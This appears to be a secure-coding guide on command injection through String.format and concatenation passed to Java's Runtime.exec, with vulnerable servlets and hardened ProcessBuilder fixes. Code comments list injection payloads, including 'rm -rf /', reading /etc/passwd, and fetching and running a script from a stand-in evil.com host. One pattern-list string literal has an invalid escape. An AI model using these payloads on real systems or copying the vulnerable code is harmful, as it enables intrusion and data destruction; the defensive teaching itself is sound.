Command injection from formatted strings passed to Runtime.exec process execution

Critical Risk command-injection
javacommand-injectionruntime-execstring-formatprocess-executionrce

What it is

A critical security vulnerability where command strings are built via concatenation or String.format with variables, allowing user-controlled values to alter executed commands or inject additional arguments. Command injection could run arbitrary OS commands with application privileges, exfiltrate data, modify files, or take over the host.

import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.WebServlet;

@WebServlet("/fileops")
public class VulnerableFileOperations extends HttpServlet {
    
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) 
            throws IOException {
        
        String operation = request.getParameter("operation");
        String filename = request.getParameter("filename");
        String options = request.getParameter("options");
        
        if (operation == null || filename == null) {
            response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing parameters");
            return;
        }
        
        try {
            String result = executeFileOperation(operation, filename, options);
            response.setContentType("text/plain");
            response.getWriter().write("Result: " + result);
        } catch (Exception e) {
            response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, e.getMessage());
        }
    }
    
    // VULNERABLE: String formatting with user input
    private String executeFileOperation(String operation, String filename, String options) 
            throws IOException {
        
        String command;
        
        // DANGEROUS: User input directly in command construction
        switch (operation) {
            case "backup":
                if (options != null) {
                    // VULNERABLE: String.format with user input
                    command = String.format("cp %s %s/%s.bak", filename, options, filename);
                } else {
                    command = "cp " + filename + " /backup/" + filename + ".bak";
                }
                break;
                
            case "search":
                // VULNERABLE: Concatenation allows injection
                command = "grep -n '" + options + "' " + filename;
                break;
                
            case "analyze":
                // VULNERABLE: Multiple user inputs in command
                command = String.format("wc %s %s", options != null ? options : "-l", filename);
                break;
                
            case "compress":
                // VULNERABLE: Shell metacharacters not escaped
                command = "tar -czf " + filename + ".tar.gz " + filename;
                break;
                
            default:
                throw new IllegalArgumentException("Unknown operation: " + operation);
        }
        
        // DANGEROUS: Execute command string via shell
        return executeCommand(command);
    }
    
    private String executeCommand(String command) throws IOException {
        // VULNERABLE: Shell execution with formatted strings
        Process process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", command});
        
        try (BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()))) {
            
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            
            process.waitFor();
            return output.toString();
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            throw new IOException("Process interrupted", e);
        }
    }
}

// Attack examples:
// POST /fileops - operation=backup&filename=test.txt; rm -rf /; echo&options=/tmp
// POST /fileops - operation=search&filename=data.txt&options=test'; cat /etc/passwd; echo '
// POST /fileops - operation=analyze&filename=file.txt&options=-l; wget evil.com/malware.sh; bash malware.sh
import java.io.*;
import java.nio.file.*;
import java.util.*;
import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
import javax.servlet.http.*;
import javax.servlet.annotation.WebServlet;

@WebServlet("/secure-fileops")
public class SecureFileOperations extends HttpServlet {
    
    // Allowed operations configuration
    private static final Map<String, OperationConfig> ALLOWED_OPERATIONS = new HashMap<>();
    private static final Pattern SAFE_FILENAME = Pattern.compile("^[a-zA-Z0-9._-]+$");
    private static final Path WORKING_DIR = Paths.get("/secure/workspace");
    private static final Path BACKUP_DIR = Paths.get("/secure/backup");
    
    static {
        ALLOWED_OPERATIONS.put("backup", new OperationConfig(
            Arrays.asList("cp"), Arrays.asList(".txt", ".csv", ".json"), 2
        ));
        ALLOWED_OPERATIONS.put("count", new OperationConfig(
            Arrays.asList("wc", "-l"), Arrays.asList(".txt", ".log"), 1
        ));
        ALLOWED_OPERATIONS.put("validate", new OperationConfig(
            Arrays.asList("file"), Arrays.asList(".xml", ".json"), 1
        ));
    }
    
    private static class OperationConfig {
        final List<String> baseCommand;
        final List<String> allowedExtensions;
        final int maxArgs;
        
        OperationConfig(List<String> baseCommand, List<String> allowedExtensions, int maxArgs) {
            this.baseCommand = baseCommand;
            this.allowedExtensions = allowedExtensions;
            this.maxArgs = maxArgs;
        }
    }
    
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) 
            throws IOException {
        
        try {
            // Validate request
            String operation = request.getParameter("operation");
            String filename = request.getParameter("filename");
            
            ValidationResult validation = validateRequest(operation, filename);
            if (!validation.isValid()) {
                response.sendError(HttpServletResponse.SC_BAD_REQUEST, validation.getError());
                return;
            }
            
            // Execute secure operation
            String result = executeSecureOperation(operation, filename);
            
            response.setContentType("application/json");
            response.getWriter().write(String.format(
                "{\"success\": true, \"result\": \"%s\"}", 
                escapeJson(result)
            ));
            
        } catch (SecurityException e) {
            response.sendError(HttpServletResponse.SC_FORBIDDEN, "Security violation: " + e.getMessage());
        } catch (Exception e) {
            response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Operation failed");
        }
    }
    
    // SECURE: Comprehensive input validation
    private ValidationResult validateRequest(String operation, String filename) {
        // Validate operation
        if (operation == null || !ALLOWED_OPERATIONS.containsKey(operation)) {
            return ValidationResult.invalid("Invalid or missing operation");
        }
        
        // Validate filename
        if (filename == null || filename.trim().isEmpty()) {
            return ValidationResult.invalid("Filename is required");
        }
        
        if (filename.length() > 255) {
            return ValidationResult.invalid("Filename too long");
        }
        
        if (!SAFE_FILENAME.matcher(filename).matches()) {
            return ValidationResult.invalid("Filename contains invalid characters");
        }
        
        if (filename.contains("..")) {
            return ValidationResult.invalid("Directory traversal not allowed");
        }
        
        // Validate file extension
        OperationConfig config = ALLOWED_OPERATIONS.get(operation);
        String extension = getFileExtension(filename);
        if (extension != null && !config.allowedExtensions.contains(extension)) {
            return ValidationResult.invalid("File extension not allowed for this operation");
        }
        
        return ValidationResult.valid();
    }
    
    // SECURE: ProcessBuilder with argument separation
    private String executeSecureOperation(String operation, String filename) throws IOException {
        OperationConfig config = ALLOWED_OPERATIONS.get(operation);
        
        // Resolve file path securely
        Path filePath = WORKING_DIR.resolve(filename).normalize();
        
        // Ensure file is within working directory
        if (!filePath.startsWith(WORKING_DIR)) {
            throw new SecurityException("File access outside working directory");
        }
        
        // Check file exists and is readable
        if (!Files.exists(filePath) || !Files.isReadable(filePath)) {
            throw new FileNotFoundException("File not found or not readable: " + filename);
        }
        
        // Build command arguments
        List<String> command = new ArrayList<>(config.baseCommand);
        
        // Handle special operations
        switch (operation) {
            case "backup":
                return performBackup(filePath);
            case "count":
                command.add(filePath.toString());
                break;
            case "validate":
                command.add(filePath.toString());
                break;
        }
        
        // Execute command securely
        return executeCommandSecurely(command);
    }
    
    private String performBackup(Path sourceFile) throws IOException {
        // Ensure backup directory exists
        if (!Files.exists(BACKUP_DIR)) {
            Files.createDirectories(BACKUP_DIR);
        }
        
        // Create backup filename with timestamp
        String backupName = sourceFile.getFileName().toString() + "." + 
                           System.currentTimeMillis() + ".bak";
        Path backupPath = BACKUP_DIR.resolve(backupName);
        
        // Use Java NIO for safe file copy
        Files.copy(sourceFile, backupPath, StandardCopyOption.REPLACE_EXISTING);
        
        return "File backed up to: " + backupPath.getFileName();
    }
    
    private String executeCommandSecurely(List<String> command) throws IOException {
        // SECURE: ProcessBuilder with separate arguments
        ProcessBuilder pb = new ProcessBuilder(command);
        
        // Set secure working directory
        pb.directory(WORKING_DIR.toFile());
        
        // Set minimal environment
        Map<String, String> env = pb.environment();
        env.clear();
        env.put("PATH", "/usr/bin:/bin");
        env.put("HOME", "/tmp");
        env.put("USER", "webapp");
        
        // Redirect error stream
        pb.redirectErrorStream(true);
        
        Process process = pb.start();
        
        try {
            // Set timeout to prevent hanging
            boolean finished = process.waitFor(30, TimeUnit.SECONDS);
            if (!finished) {
                process.destroyForcibly();
                throw new IOException("Command timeout");
            }
            
            // Read output
            try (BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()))) {
                
                StringBuilder output = new StringBuilder();
                String line;
                int lineCount = 0;
                
                while ((line = reader.readLine()) != null && lineCount < 100) {
                    output.append(line).append("\n");
                    lineCount++;
                }
                
                if (lineCount >= 100) {
                    output.append("... (output truncated)\n");
                }
                
                return output.toString();
            }
            
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            process.destroyForcibly();
            throw new IOException("Process interrupted", e);
        }
    }
    
    // Helper classes and methods
    private static class ValidationResult {
        private final boolean valid;
        private final String error;
        
        private ValidationResult(boolean valid, String error) {
            this.valid = valid;
            this.error = error;
        }
        
        static ValidationResult valid() {
            return new ValidationResult(true, null);
        }
        
        static ValidationResult invalid(String error) {
            return new ValidationResult(false, error);
        }
        
        boolean isValid() { return valid; }
        String getError() { return error; }
    }
    
    private String getFileExtension(String filename) {
        int lastDot = filename.lastIndexOf('.');
        return lastDot > 0 ? filename.substring(lastDot) : null;
    }
    
    private String escapeJson(String input) {
        if (input == null) return "null";
        return input.replace("\\", "\\\\")
                   .replace("\"", "\\\"")
                   .replace("\n", "\\n")
                   .replace("\r", "\\r")
                   .replace("\t", "\\t");
    }
    
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) 
            throws IOException {
        // Return allowed operations
        response.setContentType("application/json");
        StringBuilder json = new StringBuilder("{\"allowedOperations\": [");
        
        boolean first = true;
        for (String op : ALLOWED_OPERATIONS.keySet()) {
            if (!first) json.append(", ");
            json.append("\"").append(op).append("\"");
            first = false;
        }
        json.append("]}");
        
        response.getWriter().write(json.toString());
    }
}

💡 Why This Fix Works

The vulnerable code uses String.format() and concatenation to build command strings with user input, allowing command injection through shell metacharacters. The secure version eliminates string-based command construction, uses ProcessBuilder with separate arguments, implements comprehensive input validation, and leverages native Java operations where possible.

Why it happens

Using String.format() or string concatenation to build command strings for Runtime.exec() with user-controlled variables. This allows attackers to inject shell metacharacters or additional commands through format string manipulation.

Root causes

String.format() with User Input in Runtime.exec

Using String.format() or string concatenation to build command strings for Runtime.exec() with user-controlled variables. This allows attackers to inject shell metacharacters or additional commands through format string manipulation.

Preview example – JAVA
import java.io.IOException;

public class VulnerableExecution {
    // VULNERABLE: String.format with user input
    public void processFile(String filename, String operation) throws IOException {
        // DANGEROUS: User input in formatted command string
        String command = String.format("grep '%s' %s", operation, filename);
        
        // Execute formatted command
        Runtime.getRuntime().exec(command);
    }
    
    // Attack example:
    // processFile("data.txt", "test'; rm -rf /; echo '")
    // Results in: grep 'test'; rm -rf /; echo '' data.txt
}

Command Concatenation with User Variables

Building command strings through concatenation with user-controlled variables allows injection of shell metacharacters, command separators, and additional commands. This is especially dangerous when combined with shell invocation.

Preview example – JAVA
import java.io.IOException;

public class VulnerableCommands {
    // VULNERABLE: String concatenation with user input
    public void backupFile(String filename, String destination) throws IOException {
        // DANGEROUS: Direct concatenation allows injection
        String command = "cp " + filename + " " + destination;
        
        // Shell execution vulnerable to injection
        Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", command});
    }
    
    public void analyzeData(String inputFile, String options) throws IOException {
        // VULNERABLE: User controls both file and options
        String cmd = "analyze " + options + " --input=" + inputFile;
        Runtime.getRuntime().exec(cmd);
    }
    
    // Attack examples:
    // backupFile("file.txt; cat /etc/passwd;", "/tmp/")
    // analyzeData("data.csv", "--verbose; wget evil.com/malware")
}

Fixes

1

Use ProcessBuilder with Separate Arguments

Replace Runtime.exec() with ProcessBuilder and pass command and arguments separately as a String array. This prevents shell interpretation and command injection by treating each argument as a separate entity.

View implementation – JAVA
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Pattern;

public class SecureExecution {
    private static final Pattern SAFE_FILENAME = Pattern.compile("^[a-zA-Z0-9._-]+$");
    private static final List<String> ALLOWED_OPERATIONS = Arrays.asList(
        "count", "search", "validate"
    );
    
    // SECURE: ProcessBuilder with separate arguments
    public void processFileSafe(String filename, String operation) throws IOException {
        // Validate inputs
        if (!isValidFilename(filename)) {
            throw new IllegalArgumentException("Invalid filename");
        }
        
        if (!ALLOWED_OPERATIONS.contains(operation)) {
            throw new IllegalArgumentException("Operation not allowed");
        }
        
        // Map operations to safe commands
        List<String> command = new ArrayList<>();
        switch (operation) {
            case "count":
                command.addAll(Arrays.asList("wc", "-l", filename));
                break;
            case "search":
                command.addAll(Arrays.asList("grep", "-n", "TODO", filename));
                break;
            case "validate":
                command.addAll(Arrays.asList("file", filename));
                break;
            default:
                throw new IllegalArgumentException("Unknown operation");
        }
        
        // SECURE: ProcessBuilder with argument list
        ProcessBuilder pb = new ProcessBuilder(command);
        pb.directory(new File("/safe/working/directory"));
        
        // Set secure environment
        pb.environment().clear();
        pb.environment().put("PATH", "/usr/bin:/bin");
        pb.environment().put("HOME", "/tmp");
        
        Process process = pb.start();
        
        // Handle process output and errors safely
        try {
            int exitCode = process.waitFor();
            if (exitCode != 0) {
                throw new RuntimeException("Command failed with exit code: " + exitCode);
            }
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            throw new RuntimeException("Process interrupted", e);
        }
    }
    
    private boolean isValidFilename(String filename) {
        return filename != null && 
               filename.length() > 0 && 
               filename.length() <= 255 &&
               SAFE_FILENAME.matcher(filename).matches() &&
               !filename.contains("..");
    }
}
2

Implement Command Allowlisting and Input Validation

Create strict allowlists for permitted commands and validate all inputs against safe patterns. Use regular expressions to ensure filenames and parameters contain only expected characters.

View implementation – JAVA
import java.io.File;
import java.io.IOException;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;
import java.util.regex.Pattern;

public class ValidatedExecution {
    // Allowlisted commands with their configurations
    private static final Map<String, CommandConfig> ALLOWED_COMMANDS = new HashMap<>();
    
    static {
        ALLOWED_COMMANDS.put("backup", new CommandConfig(
            Arrays.asList("cp"), 2, Arrays.asList(".txt", ".csv", ".json")
        ));
        ALLOWED_COMMANDS.put("analyze", new CommandConfig(
            Arrays.asList("wc", "-l"), 1, Arrays.asList(".txt", ".log")
        ));
        ALLOWED_COMMANDS.put("validate", new CommandConfig(
            Arrays.asList("file"), 1, Arrays.asList(".xml", ".json")
        ));
    }
    
    private static class CommandConfig {
        final List<String> baseCommand;
        final int maxArgs;
        final List<String> allowedExtensions;
        
        CommandConfig(List<String> baseCommand, int maxArgs, List<String> allowedExtensions) {
            this.baseCommand = baseCommand;
            this.maxArgs = maxArgs;
            this.allowedExtensions = allowedExtensions;
        }
    }
    
    // SECURE: Comprehensive validation and allowlisting
    public void executeValidatedCommand(String operation, List<String> userArgs) throws IOException {
        // Validate operation
        CommandConfig config = ALLOWED_COMMANDS.get(operation);
        if (config == null) {
            throw new IllegalArgumentException("Operation not allowed: " + operation);
        }
        
        // Validate argument count
        if (userArgs.size() > config.maxArgs) {
            throw new IllegalArgumentException("Too many arguments");
        }
        
        // Validate each argument
        List<String> validatedArgs = new ArrayList<>();
        for (String arg : userArgs) {
            String validatedArg = validateAndSanitizeArgument(arg, config);
            validatedArgs.add(validatedArg);
        }
        
        // Build command
        List<String> fullCommand = new ArrayList<>(config.baseCommand);
        fullCommand.addAll(validatedArgs);
        
        // Execute securely
        executeSecureCommand(fullCommand);
    }
    
    private String validateAndSanitizeArgument(String arg, CommandConfig config) {
        // Basic validation
        if (arg == null || arg.trim().isEmpty()) {
            throw new IllegalArgumentException("Empty argument");
        }
        
        if (arg.length() > 255) {
            throw new IllegalArgumentException("Argument too long");
        }
        
        // Pattern validation - only safe characters
        Pattern safePattern = Pattern.compile("^[a-zA-Z0-9._/-]+$");
        if (!safePattern.matcher(arg).matches()) {
            throw new IllegalArgumentException("Invalid characters in argument: " + arg);
        }
        
        // Check for directory traversal
        if (arg.contains("..")) {
            throw new IllegalArgumentException("Directory traversal not allowed");
        }
        
        // Validate file extension if it's a file argument
        if (arg.contains(".")) {
            String extension = arg.substring(arg.lastIndexOf('.'));
            if (!config.allowedExtensions.contains(extension)) {
                throw new IllegalArgumentException("File extension not allowed: " + extension);
            }
        }
        
        // Validate path is within allowed directories
        if (!isWithinAllowedDirectory(arg)) {
            throw new IllegalArgumentException("Path not in allowed directory: " + arg);
        }
        
        return arg;
    }
    
    private boolean isWithinAllowedDirectory(String path) {
        try {
            Path normalizedPath = Paths.get(path).normalize();
            String pathStr = normalizedPath.toString();
            
            // Allowed directory prefixes
            String[] allowedDirs = {
                "documents/",
                "uploads/",
                "tmp/"
            };
            
            for (String allowedDir : allowedDirs) {
                if (pathStr.startsWith(allowedDir)) {
                    return true;
                }
            }
            
            // Allow files in current directory (no path separators)
            return !pathStr.contains("/") && !pathStr.contains("\\");
            
        } catch (Exception e) {
            return false;
        }
    }
    
    private void executeSecureCommand(List<String> command) throws IOException {
        ProcessBuilder pb = new ProcessBuilder(command);
        
        // Set secure working directory
        pb.directory(new File("/safe/sandbox"));
        
        // Set minimal environment
        Map<String, String> env = pb.environment();
        env.clear();
        env.put("PATH", "/usr/bin:/bin");
        env.put("HOME", "/tmp");
        env.put("USER", "sandbox");
        
        // Start process with timeout
        Process process = pb.start();
        
        try {
            // Wait with timeout
            boolean finished = process.waitFor(30, java.util.concurrent.TimeUnit.SECONDS);
            if (!finished) {
                process.destroyForcibly();
                throw new RuntimeException("Command timeout");
            }
            
            int exitCode = process.exitValue();
            if (exitCode != 0) {
                throw new RuntimeException("Command failed with exit code: " + exitCode);
            }
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            process.destroyForcibly();
            throw new RuntimeException("Process interrupted", e);
        }
    }
}
3

Use Dedicated Libraries Instead of Shell Commands

Replace shell command execution with Java libraries and APIs whenever possible. Use Java's built-in file operations, text processing libraries, and specialized tools to avoid command injection entirely.

View implementation – JAVA
import java.io.*;
import java.nio.file.*;
import java.security.MessageDigest;
import java.util.stream.Stream;

public class NativeJavaOperations {
    // SECURE: Native Java file operations instead of shell commands
    public void processFileNatively(String filename, String operation) throws IOException {
        // Validate inputs
        Path filePath = validateFilePath(filename);
        if (!isValidOperation(operation)) {
            throw new IllegalArgumentException("Invalid operation: " + operation);
        }
        
        // Execute operation using Java APIs
        switch (operation) {
            case "count_lines":
                countLines(filePath);
                break;
            case "file_size":
                getFileSize(filePath);
                break;
            case "checksum":
                calculateChecksum(filePath);
                break;
            case "copy":
                copyFile(filePath);
                break;
            default:
                throw new IllegalArgumentException("Operation not implemented: " + operation);
        }
    }
    
    private Path validateFilePath(String filename) throws IOException {
        if (filename == null || filename.trim().isEmpty()) {
            throw new IllegalArgumentException("Filename cannot be empty");
        }
        
        // Validate filename pattern
        if (!filename.matches("^[a-zA-Z0-9._-]+$")) {
            throw new IllegalArgumentException("Invalid filename format");
        }
        
        Path path = Paths.get(filename).normalize();
        
        // Prevent directory traversal
        if (path.toString().contains("..")) {
            throw new IllegalArgumentException("Directory traversal not allowed");
        }
        
        // Check if file exists and is readable
        if (!Files.exists(path)) {
            throw new FileNotFoundException("File not found: " + filename);
        }
        
        if (!Files.isReadable(path)) {
            throw new IOException("File not readable: " + filename);
        }
        
        return path;
    }
    
    private boolean isValidOperation(String operation) {
        Set<String> allowedOps = Set.of(
            "count_lines", "file_size", "checksum", "copy"
        );
        return allowedOps.contains(operation);
    }
    
    private void countLines(Path filePath) throws IOException {
        try (Stream<String> lines = Files.lines(filePath)) {
            long lineCount = lines.count();
            System.out.println("Lines: " + lineCount);
        }
    }
    
    private void getFileSize(Path filePath) throws IOException {
        long size = Files.size(filePath);
        System.out.println("Size: " + size + " bytes");
    }
    
    private void calculateChecksum(Path filePath) throws IOException {
        try {
            MessageDigest md = MessageDigest.getInstance("SHA-256");
            byte[] fileBytes = Files.readAllBytes(filePath);
            byte[] digest = md.digest(fileBytes);
            
            StringBuilder sb = new StringBuilder();
            for (byte b : digest) {
                sb.append(String.format("%02x", b));
            }
            
            System.out.println("SHA-256: " + sb.toString());
        } catch (Exception e) {
            throw new IOException("Checksum calculation failed", e);
        }
    }
    
    private void copyFile(Path sourcePath) throws IOException {
        // Define safe destination directory
        Path destDir = Paths.get("/safe/backup");
        if (!Files.exists(destDir)) {
            Files.createDirectories(destDir);
        }
        
        Path destPath = destDir.resolve(sourcePath.getFileName());
        
        // Copy file using Java NIO
        Files.copy(sourcePath, destPath, StandardCopyOption.REPLACE_EXISTING);
        System.out.println("File copied to: " + destPath);
    }
    
    // Advanced validation for enterprise environments
    public void validateFileContent(String filename) throws IOException {
        Path filePath = validateFilePath(filename);
        
        // Check file size limits
        long size = Files.size(filePath);
        if (size > 10 * 1024 * 1024) { // 10MB limit
            throw new IOException("File too large: " + size + " bytes");
        }
        
        // Validate file content type
        String contentType = Files.probeContentType(filePath);
        if (contentType != null && !isAllowedContentType(contentType)) {
            throw new IOException("Content type not allowed: " + contentType);
        }
        
        // Check for malicious patterns in text files
        if (contentType != null && contentType.startsWith("text/")) {
            validateTextContent(filePath);
        }
    }
    
    private boolean isAllowedContentType(String contentType) {
        Set<String> allowedTypes = Set.of(
            "text/plain",
            "text/csv",
            "application/json",
            "application/xml"
        );
        return allowedTypes.contains(contentType);
    }
    
    private void validateTextContent(Path filePath) throws IOException {
        try (BufferedReader reader = Files.newBufferedReader(filePath)) {
            String line;
            int lineNumber = 0;
            
            while ((line = reader.readLine()) != null && lineNumber < 1000) {
                lineNumber++;
                
                // Check for suspicious patterns
                if (containsSuspiciousPattern(line)) {
                    throw new IOException("Suspicious content detected at line " + lineNumber);
                }
            }
        }
    }
    
    private boolean containsSuspiciousPattern(String line) {
        String[] suspiciousPatterns = {
            "<script", "javascript:", "eval(", "exec(",
            "system(", "shell_exec", "$(\(", "`"
        };
        
        String lowerLine = line.toLowerCase();
        for (String pattern : suspiciousPatterns) {
            if (lowerLine.contains(pattern)) {
                return true;
            }
        }
        return false;
    }
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection from formatted strings passed to runtime.exec process execution and many other security issues in your codebase.